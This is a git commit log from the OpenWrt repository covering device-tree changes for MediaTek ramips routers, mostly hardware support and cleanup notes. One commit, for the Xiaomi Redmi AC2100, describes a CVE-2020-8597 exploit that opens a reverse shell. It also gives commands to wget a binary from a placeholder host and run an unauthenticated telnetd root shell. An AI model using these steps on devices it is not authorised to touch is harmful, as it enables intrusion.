aboutsummaryrefslogtreecommitdiffstats
path: root/target/linux/ramips/dts
Commit message (Collapse)AuthorAgeFilesLines
* ramips: drop useless label-mac-device for RouterBOARD 750Gr3Adrian Schmutzler2020-06-131-1/+0
| | | | | | | | | | | | | | With the new driver, MAC addresses are not set up in DTS anymore, and therefore label-mac-device will be useless there. Setup is done properly in 02_network, so this just removes the obsolete alias. Fixes: 5e50515fa6b3 ("ramips/mt7621: mikrotik: don't use mtd-mac-address in DTS") Suggested-by: John Thomson <git@johnthomson.fastmail.com.au> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: add support for NETGEAR WAC104Pawel Dembicki2020-06-121-0/+171
| | | | | | | | | | | | | | | | | | | | | | | | NETGEAR WAC104 is an AP based on castrated R6220, without WAN port and USB. SoC: MediaTek MT7621ST RAM: 128M DDR3 FLASH: 128M NAND WiFi: MediaTek MT7612EN an+ac MediaTek MT7603EN bgn ETH: MediaTek MT7621ST (4x LAN) BTN: 1x Connect (WPS), 1x WLAN, 1x Reset LED: 7x (3x GPIO controlled) Installation: Login to netgear webinterface and flash factory.img Back to stock: Use nmrpflash to revert stock image. Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips: fix WAN LED for D-Link DIR-810L/TRENDnet TEW-810DRAdrian Schmutzler2020-06-113-17/+15
| | | | | | | | | | | | | | | | | | The WAN LED on DIR-810L was actually blinking on LAN1 port activity. This has already been improved for the TEW-810DR, where the GPIO has been set up explicitly rather than having it controlled by the switch. This patch also applies this setup to the DIR-810L. In addition, the trigger in 01_leds is set up with ucidef_set_led_switch for both devices now, so state changes should be displayed correctly as well. Reported-by: Roger Pueyo Centelles <roger.pueyo@guifi.net> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de> Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net> [DIR-810L] Tested-by: J. Scott Heppler <shep971@centurylink.net> [TEW-810DR]
* ramips: use amber LED for boot/failsafe on Netgear EX3700/EX6130Adrian Schmutzler2020-06-112-16/+16
| | | | | | | | | According to the manual, the amber power LED is used to indicate boot, while the green LED is meant to indicate a running system. While at it, also adjust the DT node names for all LEDs. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Netgear EX6120Adrian Schmutzler2020-06-114-2/+58
| | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: * SoC: MT7620A * CPU: 580 MHz * RAM: 64 MB DDR * Flash: 8MB NOR SPI flash * WiFi: MT7612E (5GHz) and builtin MT7620A (2.4GHz) * LAN: 1x100M The device is identical to the EX6130 except for the mains socket and the hardware ID. Installation: The -factory images can be flashed from the device's web interface or via nmrpflash. Notes: MAC addresses were set up based on the EX6130 setup. This is based on prior work of Adam Serbinski and Mathias Buchwald. Tested by Mathias Buchwald. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: use higher SPI clock speed on Mikrotik rbm11g and rbm33gTobias Schramm2020-06-032-5/+3
| | | | | | | | | Previously the dts were using a value determined by empirical testing, because of a spi driver/clock bug. The bug was fixed quite some time ago. 33 MHz is the default clock frequency used by RouterBOOT and thus safe. Signed-off-by: Tobias Schramm <t.schramm@manjaro.org>
* ramips: fix LED DT label for Zyxel Keenetic StartAdrian Schmutzler2020-05-271-5/+5
| | | | Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: create shared DTSI for DIR-810L and TEW-810DRAdrian Schmutzler2020-05-263-223/+118
| | | | | | | These devices seem to have the same board, so let's have a common file. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for TRENDnet TEW-810DRJ. Scott Heppler2020-05-261-0/+166
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: * MediaTek MT7620A (580 Mhz) * 8 MB of FLASH * 64 MB of RAM * 2.4Ghz and 5.0Ghz radios * 5x 10/100 Mbps Ethernet (1 WAN and 4 LAN) * UART header on PCB (57600 8n1) * Green/Orange Power LEDs illuminating a Power-Button Lens * Green/Orange Internet LEDs GPIO controlled illuminating a Globe/Internet Lens * 3x button - wps, power and reset * U-boot bootloader Installation: The sysupgrade.bin image is reported to be OEM web flashed with an ncc_att_hwid appended. ncc_att_hwid is a 32bit binary in the GPL Source download for either the TEW-810DR or DIR-810L and is located at source/user/wolf/cameo/ncc/hostTools. The invocation is: ncc_att_hwid -f tew-810dr-squashfs-factory.bin -a -m "TEW-810DR" -H "1.0R" -r "WW" -c "1.0" This may need to be altered if your hardware version is "1.1R". The image can also be directly flashed via serial tftp: 1. Load *.sysupgrade.bin to your tftp server directory and rename for convenience. 2. Set a static ip 192.168.10.100. 3. NIC cable to a lan port. 4. Serial connection parameters 57600,8N1 5. Power on the TEW-810 and press 4 for a u-boot command line prompt. 6. Verify IP's with U-Boot command "printenv". 7. Adjust tftp settings if needed per the tftp documentation 8. Boot the tftp image to test the build. 9. If the image loads, reset your server ip to 192.168.1.10 and restart network. 10. Log in to Luci, 192.168.1.1, and flash the *sysupgrade.bin image. Notes: The only valid MAC address is found in 0x28 of the factory partition. Other typical offsets/caldata only contain example data: 00:11:22:00:0f:xx Signed-off-by: J. Scott Heppler <shep971@centurylink.net> [remove "link rx tx" in 01_leds, format and extend commit message, fix DTS led node names] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Asus RT-N10P V3 / RT-N11P B1 / RT-N12 VP B1Ernst Spielmann2020-05-244-0/+202
| | | | | | | | | | | | | | | | | | | | | | | | Specifications: - MT7628NN @ 580 MHz - 32 MB RAM - 8 MB Flash - 5x 10/100 Mbps Ethernet (built-in switch) - 2.4 GHz WLAN - 2x external, non-detachable antennas (1x for RT-N10P V3) Flash instructions: 1. Set PC network interface to 192.168.1.75/24. 2. Connect PC to the router via LAN. 3. Turn router off, press and hold reset button, then turn it on. 4. Keep the button pressed till power led starts to blink. 5. Upload the firmware file via TFTP. (Any filename is accepted.) 6. Wait until the router reboots. Signed-off-by: Ernst Spielmann <endspiel@disroot.org> [fix node/property name for state_default] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)Richard Huynh2020-05-201-0/+183
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
* ramips: remove leading zeros from MAC address locationAdrian Schmutzler2020-05-182-2/+2
| | | | | | Cosmetic adjustment to match the rest of the target. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: set WAN address in DTS for ASUS RT-AC51U/RT-AC54UAdrian Schmutzler2020-05-182-2/+4
| | | | | | | | | | | | | The location 0x28 in factory partition is the common one used for ethernet address on this architecture. Despite, it contains the label MAC address for the devices at hand. Consequently, this patch moves 0x28 to the &ethernet node in DTS files (setting the WAN MAC address there) and sets up the lan_mac from 0x22 in 02_network. As a benefit, this allows to use label-mac-device in DTS instead of ucidef_set_label_macaddr. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: use DT trigger for 2G WiFi on ASUS RT-AC51UAdrian Schmutzler2020-05-181-2/+3
| | | | | | | | | | | Like for the RT-AC54U, this uses a DT trigger for WiFi also at the RT-AC51U. While at it, rename node and label to wifi2g. Note that the 5g WiFi LED still isn't supported (see PR #3017 for further details: https://github.com/openwrt/openwrt/pull/3017 ) Tested-by: Davide Fioravanti <pantanastyle@gmail.com> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: fix MAC address assignment for ASUS RT-AC51UAdrian Schmutzler2020-05-181-1/+1
| | | | | | | | | | | | | | | | The current MAC address assignment for the ASUS RT-AC51U is "wrong", it actually should be the same as for the RT-AC54U. Fix it. MAC assignment based on vendor firmware: 2g 0x4 label 5g 0x8004 label +4 lan 0x22 label +4 wan 0x28 label Thanks to Davide Fioravanti for checking this on his device. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: increase SPI frequency for ASUS RT-AC51U/RT-AC54UAdrian Schmutzler2020-05-181-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This increases the SPI frequency for both ASUS RT-AC51U and RT-AC54U. Speed comparison tests have been performed on RT-AC54U: - 10Mhz root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 4m 37.78s user 0m 0.02s sys 2m 43.92s - 50Mhz root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 28.34s user 0m 0.03s sys 0m 46.96s - 50Mhz fast read root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 11.94s user 0m 0.01s sys 0m 46.94s - 80Mhz root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 12.31s user 0m 0.04s sys 0m 46.96s - 80Mhz fast read root@OpenWrt:~# time cat /dev/mtd* > /dev/null real 1m 12.15s user 0m 0.02s sys 0m 46.97s Based on that, we took 50 MHz with fast-read, as higher frequencies didn't yield further improvements. For the RT-AC51U, only the final configuration was tested. Tested-by: Zhijun You <hujy652@gmail.com> [RT-AC54U] Tested-by: Davide Fioravanti <pantanastyle@gmail.com> [RT-AC51U] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Linksys EA7500 v2Davide Fioravanti2020-05-171-0/+207
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
* ramips: add support for netis WF2770Sungbo Eo2020-05-171-0/+161
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A. Specifications: - SoC: MT7620A - RAM: DDR2 64MB - Flash: SPI NOR 16MB - WiFi: - 2.4GHz: SoC internal - 5GHz: MT7610EN - Ethernet: 5x 10/100/1000Mbps - Switch: MT7530BU - UART: - J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1 MAC addresses in factory partition: 0x0004: LAN, WiFi 2.4GHz (label_mac-6) 0x0028: not used (label_mac-1) 0x002e: WAN (label_mac) 0x8004: WiFi 5GHz (label_mac+2) Installation via web interface: 1. Flash **initramfs** image through the stock web interface. 2. Boot into OpenWrt and perform sysupgrade with sysupgrade image. Revert to stock firmware: 1. Perform sysupgrade with stock image. Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com> Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: add support for ASUS RT-AC54UZhijun You2020-05-171-0/+61
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MTK MT7620A - RAM: 64MB - ROM: 16MB SPI Flash Macronix MX25L12835E - WiFi1: MediaTek MT7620A - WiFi2: MediaTek MT7612E - Button: reset, wps - LED: 9 LEDs:Power, WiFi 2.4G,WiFi 5G, USB, LAN1, LAN2, LAN3, LAN4, WAN - Ethernet: 5 ports, 4 LAN + 1 WAN - Other: 1x UART 1x USB2.0 Installation: Update using ASUS Firmware Restoration Tool: 1. Download the ASUS Firmware Restoration Tool but don't open it yet 2. Unplug your computer from the router 3. Put the router into Rescue Mode by: turning the power off, using a pin to press and hold the reset button, then turning the router back on while keeping the reset button pressed for ~5 secs until the power LED starts flashing slowly (which indicates the router has entered Rescue Mode) 4. Important (if you don't do this next step the Asus Firmware Restoration Tool will wrongly assume that the router is not in Rescue Mode and will refuse to flash it): go to the Windows Control Panel and temporarily disable ALL other network adapters except the one you will use to connect your computer to the router 5. For the single adapter you left enabled, temporarily give it the static IP 192.168.1.10 and the subnet mask 255.255.255.0 6. Connect a LAN cable between your computer (make sure to use the Ethernet port of the adapter you've just set up) and port 1 of the router (not the router's WAN port) 7. Rename sysupgrade.bin to factory.trx 8. Open the Asus Firmware Restoration Tool, locate factory.trx and click upload (if Windows shows a compatibility prompt, confirm that the tool worked fine) 9. Flashing and reboot is finished when the power LED stops blinking and stays on MAC assignment based on vendor firmware: 2g 0x4 label 5g 0x8004 label +4 lan 0x22 label +4 wan 0x28 label Signed-off-by: Zhijun You <hujy652@gmail.com> [rebased due to DTSI patch, minor commit message adjustments, fix label MAC address (lan->wan), do spi frequency increase separately] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: create DTSI for ASUS RT-AC51U and RT-AC54UAdrian Schmutzler2020-05-172-91/+96
| | | | | | | | | This creates a DTSI for the ASUS RT-AC51U and the upcoming RT-AC54U, as they are quite similar. White at it, drop the unneeded "status = okay" for ethernet. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: drop non-existant ralink,port-map for Ravpower WD03Adrian Schmutzler2020-05-171-1/+0
| | | | | | | | | | The property "ralink,port-map" has been obsolete long before this device was added, and the device is a one-port anyway. Just remove it. Fixes: 5ef79af4f80f ("ramips: add support for Ravpower WD03") Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7620: tidy up ethernet node in DTS filesAdrian Schmutzler2020-05-1769-39/+107
| | | | | | | | | | | | This tidies up the ethernet node in mt7620 DTS files by: - removing unnecessary status as it is not disabled - reordering properties consistently - adding empty lines to enhance readability This should make comparison and reviewing new PRs based on C/P easier. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for LB-Link BL-W1200Pawel Dembicki2020-05-091-0/+172
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The BL-W1200 Wireless Router is based on the MT7620A SoC. Specification: - MediaTek MT7620A (580 Mhz) - 64 MB of RAM - 8 MB of FLASH - 1x 802.11bgn radio - 1x 802.11ac radio (MT7612E) - 5x 10/100/1000 Mbps Ethernet (MT7530) - 2x external, non-detachable antennas (Wifi 2.4G/5G) - 1x USB 2.0 - UART (R2) on PCB (57600 8n1) - 9x LED (1 GPIO controlled), 1x button - u-Boot bootloader Known issues: - No status LED. Used WPS LED during boot/failsafe/sysupgrade. Installation: 1. Apply initramfs image via factory web-gui. 2. Install sysupgrade image. How to revert to OEM firmware: - sysupgrade -n -F stock_firmware.bin Reviewed-by: Sungbo Eo <mans0n@gorani.run> Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips: dts: fix incorrect flash reg propertySungbo Eo2020-05-095-5/+5
| | | | | | | | Most work was done in commit 021c8936584d ("ramips: fix size-cells on spi nodes"), but a few more DTS files using the old reg style have been added since then. This commit fixes them. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: dts: use generic node name for flashSungbo Eo2020-05-09239-240/+240
| | | | | | | | | | | | | | | | | In DTS Checklist[1] we're now demanding proper generic node names, as the name of a node should reflect the function of the device and use generic name for that[2]. Everybody seems to be copy&pasting from DTS files available in the repository today, so let's unify that naming there as well and provide proper examples. While at it, remove unused m25p80 label. Tested on rt5350 (for spi-nor) and rt3662 (for cfi-flash). 1. https://openwrt.org/submitting-patches#dts_checklist 2. https://github.com/devicetree-org/devicetree-specification/blob/master/source/devicetree-basics.rst#generic-names-recommendation Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: simplify palmbus/{i2c,spi} in device DTS filesSungbo Eo2020-05-087-89/+76
| | | | | | | | | As the node is already defined and labeled in SoC DTSI file, we can refer to it outside of root node and reduce redundancy. While at it, remove unused pcf8563 label. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: use hex notation for *-mtd-eeprom propertySungbo Eo2020-05-08160-160/+160
| | | | | | | Change "0" to "0x0" for consistency. This is an extension of commit 34abfb6e91d1 ("ramips: convert mediatek,mtd-eeprom from decimal to hex notation"). Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips/mt7621: mikrotik: don't use mtd-mac-address in DTSThibaut VARÈNE2020-05-083-24/+0
| | | | | | | | | | | | | As evidenced here[1] the device MAC address can be stored at a random offset in the hard_config partition. Rely on sysfs to update the MAC address correctly. Adjust config so that WAN is base MAC and LAN is base MAC +1 to better match label and vendor OS. [1] https://github.com/openwrt/openwrt/pull/2850#issuecomment-610809021 Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
* ramips: mikrotik: use routerbootpart partitionsThibaut VARÈNE2020-05-083-24/+12
| | | | | | | Enable routerbootpart partitions on MikroTik devices. Tested-by: Tobias Schramm <t.schramm@manjaro.org> Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
* ramips: fix MikroTik 750Gr3 ports MAC addressesDENG Qingfang2020-04-281-3/+9
| | | | | | | | | | | | | | | According to a user in OpenWrt forum, on RouterOS the MAC addresses are ether1(WAN) = MAC ether2(LAN2) = MAC+1 ether3(LAN3) = MAC+2 etc. Fix the MAC addresses in OpenWrt. Ref: https://forum.openwrt.org/t/few-dumb-question-about-mt7530-rb750gr3-dsa/61608 Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn> [remove label_mac in 02_network] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: enable SFP port for Ubiquiti ER-X-SFPRené van Dorst2020-04-251-1/+59
| | | | | | | | | | | | | | | SFP cage of this device is connected via a AT8031 phy to port 5 of the switch. This phy act as a RGMII-to-SerDes converter. Also a I2C clock gate needs to be enabled in order to access the SFP module via I2C bus. SFP cage also has module detect pin which is connected to I2C gpio expander. With this patch the kernel/PHYLINK now can detect, readout and use the SFP module/port. NOTE: SFP cage / AT8033 PHY only support 1000base-X encoding! This means that some SGMII modules can work and only at forced 1GBit/full-duplex! Signed-off-by: René van Dorst <opensource@vdorst.com>
* ramips: replace pinctrl property names for ipTIME A1004nsSungbo Eo2020-04-191-2/+2
| | | | | | | | | | The pinctrl driver had been replaced with the upstream one in b756ea2a909a ("ramips: replace pinctrl property names"), but the initial A1004ns support patch did not reflect the changes. This commit updates its pinctrl property names. Fixes: 9169482f640c ("ramips: add support for ipTIME A1004ns") Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: mt7621: backport more pcie driver fixesChuanhong Guo2020-04-181-5/+4
| | | | Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: increase spi-max-frequency for ipTIME mt7620 devicesSungbo Eo2020-04-181-1/+1
| | | | | | | | | | | | This commit increases the hardware SPI frequency from 24.2MHz to 48.3MHz. [ 5.314163] m25p80 spi0.0: speed: 24166666/40000000, rate: 8, prescal: 2, loops: 226 [ 5.076323] m25p80 spi0.0: speed: 48333333/50000000, rate: 4, prescal: 1, loops: 162 `time cat /dev/mtd2 >/dev/null` is reduced from 5.64s to 4.36s on A104ns, and from 11.39s to 8.81s on A1004ns. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: add support for ipTIME A1004nsSungbo Eo2020-04-181-0/+104
| | | | | | | | | | | | | | | | | | | | | | | | | | ipTIME A1004ns is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A. Specifications: - SoC: MT7620A - RAM: DDR2 128MB - Flash: SPI NOR 16MB - WiFi: - 2.4GHz: SoC internal - 5GHz: MT7610EN - Ethernet: 5x 10/100/1000Mbps - Switch: MT7530BU - USB: 1x 2.0 - UART: - J2: 3.3V, TX, RX, GND (3.3V is the square pad) / 57600 8N1 Installation via web interface: 1. Flash **initramfs** image through the stock web interface. 2. Boot into OpenWrt and perform sysupgrade with sysupgrade image. Revert to stock firmware: 1. Perform sysupgrade with stock image. Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* ramips: use all reserved space for HiWiFi HC5962DENG Qingfang2020-04-181-33/+22
| | | | | | | | These stock partitons: "backup", "hw_panic", "overly", firmware_backup", "opt" do not contain any device-specific data and can be used for /overlay, resulting in 121M space Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* ramips: increase HiWiFi HC5962 kernel partition to 4MDENG Qingfang2020-04-181-3/+3
| | | | | | | | | | | | | | | | | | Increase kernel partition because 2M is insufficient for 5.4 Because the partition changes, previous version of OpenWrt cannot upgrade to this version, and requires a new installation Recovery to stock instruction: 1. Download stock firmware at http://ur.ikcd.net/HC5962-sysupgrade-20171221-b00a04d1.bin 2. Power off the router 3. Press and hold the reset button for 4~6 sec while power it back on 4. Connect a PC to router's LAN 5. Visit http://192.168.2.1 and upload the firmware Then repeat the instruction in edae3479e64e to install OpenWrt Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* ramips: replace pinctrl property namesChuanhong Guo2020-04-12256-719/+719
| | | | | | | | | | | | | | Upstream pinctrl driver in drivers/staging uses groups/function/ralink,num-gpios instead of ralink,group/ralink,function/ralink,nr-gpio Replace these properties in dts as well as the pinctrl driver in patches-4.14. This commit is created using: sed -i 's/ralink,group/groups/g' sed -i 's/ralink,function/function/g' sed -i 's/ralink,nr-gpio/ralink,num-gpios/g' Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: mt7628: update dts for upstream gpio-mt7621 driverChuanhong Guo2020-04-1256-320/+278
| | | | | | | | | | upstream driver merged 3 separated gpio banks into one gpio node. and gpioX Y in our local driver should be replaced with gpio X*32+Y. This patch is created using the following sed command: sed -i -r 's/(.*)gpio([0-9]) ([0-9]+)(.*)/echo "\1gpio $((\2*32+\3))\4"/ge' Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: increase spi frequency for newifi d1/d2Chuanhong Guo2020-04-122-3/+2
| | | | | | | | increase spi frequency for both devices to 45MHz. while at it, also remove m25p,fast-read for newifi d1 as it's only needed when spi clock is higher than 50MHz. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: enable broken-flash-reset for some 32M flash boardsChuanhong Guo2020-04-127-0/+7
| | | | | | | These are boards known to start on 3-byte address mode, which requires broken-flash-reset if 4B_OPCODES isn't supported by the flash. Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* ramips: mt7621: tidy up names for Ubiquiti devicesAdrian Schmutzler2020-04-125-25/+25
| | | | | | | | | | | | | | | The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in all targets except ramips and also recommended by the kernel. This patch adjusts the various board/image/device name variables accordingly. Since we touch it anyway, this also adds the space in "EdgeRouter X" as a hyphen to those variables to really make them consistent with the model name. While at it, create a real shared definition for the devices in image/mt7621.mk instead of deriving one device from another. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for I-O DATA WN-AX2033GRYanase Yuki2020-04-121-0/+37
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | I-O DATA WN-AX2033GR is roughly the same as I-O DATA WN-AX1167GR2. The difference is Wi-Fi feature. Specification ============= - SoC: MediaTek MT7621A - RAM: DDR3 128 MiB - Flash Memory: NAND 128 MiB (Spansion S34ML01G200TF100) - Wi-Fi: MediaTek MT7603E - Wi-Fi: MediaTek MT7615 - Ethernet: 5x 10 Mbps / 100 Mbps / 1000 Mbps (1x WAN, 4x LAN) - LED: 2x green LED - Input: 2x tactile switch, 1x slide switch - Serial console: 57600bps, PCB through hole J5 (Vcc, TX, RX, NC, GND) - Power: DC 12V This device only supports channel 1-13 and 36-140. Thus, narrower frequency limits compared to other devices are required for limiting wi-fi frequency correctly. Without this, non-supported frequencies are activated. Flash instructions ================== 1. Open the router management page (192.168.0.1). 2. Update router firmware using "initramfs-kernel.bin". 3. After updating, run sysupgrade with "sysupgrade.bin". Recovery instructions ===================== WN-AX2033GR contains Zyxel Z-LOADER 1. Setup TFTP server (IP address: 10.10.10.3). 2. Put official firmware into TFTP server directory (distribution site: https://www.iodata.jp/lib/software/w/2068.htm) 3. Connect WX-AX2033GR Ethernet port and computer that runs TFTP server. 4. Connect to serial console. 5. Interrupt booting by Esc key. 6. Flash firmware using "ATNR 1,[firmware filename]" command. Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [adjust for kernel 5.4, add recovery instructions/frequency comment] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: use full 8MB flash on ZyXEL KeeneticAlexey Dobrovolsky2020-04-081-1/+1
